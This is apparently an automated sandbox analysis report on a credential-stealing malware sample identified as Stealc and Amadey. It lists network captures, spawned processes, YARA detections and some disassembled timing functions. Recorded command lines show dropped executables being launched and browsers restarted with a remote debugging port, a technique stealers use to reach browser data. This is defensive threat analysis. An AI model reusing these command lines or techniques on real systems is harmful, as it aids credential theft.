Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49931	40.79.167.8	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:32 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325230336&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10012 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; msnup=
2024-11-11 11:40:32 UTC	10012	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 31 3a 34 30 3a 33 30 2e 33 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 66 31 30 39 33 33 32 2d 62 38 36 61 2d 34 38 32 63 2d 62 66 63 64 2d 38 38 62 65 61 34 34 37 63 33 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 37 39 38 36 39 33 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-11T11:40:30.335Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"4f109332-b86a-482c-bfcd-88bea447c3be","epoch":"4179869379"},"app":{"loc
2024-11-11 11:40:32 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1609f7fc26fd442d994bf7d7cabbab4d&HASH=1609&LV=202411&V=4&LU=1731325232178; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 11:40:32 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6c6d25d935d74447bc4d571b2f4aa23d; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 12:10:32 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1842 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 11:40:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:32 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b85e0691-b01e-0098-78d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114032Z-174f7845968nnm4mhC1EWR1rn400000004sg000000007wk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Target ID:	0
Start time:	06:40:00
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1a0000
File size:	1'820'160 bytes
MD5 hash:	277C62F3813525889D2AE9A5562817B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2122615907.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2489334528.00000000001A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:40:07
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:40:08
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1884,i,13590626300903968152,15304544705898681332,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:40:17
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:40:17
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2280,i,8263969002267575968,18168452341544240962,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:40:18
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:40:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:40:24
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5352 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:40:24
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:40:24
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:40:24
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:40:36
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsECBGHCGCBK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:40:36
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:40:36
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsECBGHCGCBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsECBGHCGCBK.exe"
Imagebase:	0x460000
File size:	3'194'368 bytes
MD5 hash:	0EA572534507BB08D80B0A5C07F511D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2524957576.0000000000461000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:40:39
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x40000
File size:	3'194'368 bytes
MD5 hash:	0EA572534507BB08D80B0A5C07F511D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2554745091.0000000000041000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:41:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x40000
File size:	3'194'368 bytes
MD5 hash:	0EA572534507BB08D80B0A5C07F511D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	06:41:08
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Imagebase:	0xd60000
File size:	3'247'616 bytes
MD5 hash:	AF61DF2E64CC0A9FB7AF4C3DB55F6CD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2878148913.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2875540719.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.3031855893.0000000005E01000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2862807328.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2983198162.0000000008270000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:41:12
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Imagebase:	0x910000
File size:	1'820'160 bytes
MD5 hash:	277C62F3813525889D2AE9A5562817B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2881702630.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2841341620.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:41:14
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4128 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	06:41:16
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'194'368 bytes
MD5 hash:	0EA572534507BB08D80B0A5C07F511D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	06:41:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:	0x7ff799c70000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	06:41:20
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Imagebase:	0xd60000
File size:	3'247'616 bytes
MD5 hash:	AF61DF2E64CC0A9FB7AF4C3DB55F6CD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000003.3014928188.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:41:21
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Imagebase:	0xfa0000
File size:	2'774'016 bytes
MD5 hash:	0EA680C4AA4B4BD15981D154A2554E69
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:41:28
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Imagebase:	0x910000
File size:	1'820'160 bytes
MD5 hash:	277C62F3813525889D2AE9A5562817B3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2999328469.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3087960505.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:41:36
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Imagebase:	0xfa0000
File size:	2'774'016 bytes
MD5 hash:	0EA680C4AA4B4BD15981D154A2554E69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:41:44
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Imagebase:	0xd60000
File size:	3'247'616 bytes
MD5 hash:	AF61DF2E64CC0A9FB7AF4C3DB55F6CD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:41:53
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Imagebase:	0x910000
File size:	1'820'160 bytes
MD5 hash:	277C62F3813525889D2AE9A5562817B3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000003.3247798892.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3288030820.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:42:01
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Imagebase:	0xfa0000
File size:	2'774'016 bytes
MD5 hash:	0EA680C4AA4B4BD15981D154A2554E69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	06:43:18
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Imagebase:
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

GenuntelineI, xrefs: 6CAD3639
QPC, xrefs: 6CAD38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB
GTC, xrefs: 6CAD3912
AuthcAMDenti, xrefs: 6CAD3946

Memory Dump Source

Source File: 00000000.00000002.2522932677.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2522908233.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523029738.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2523052173.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
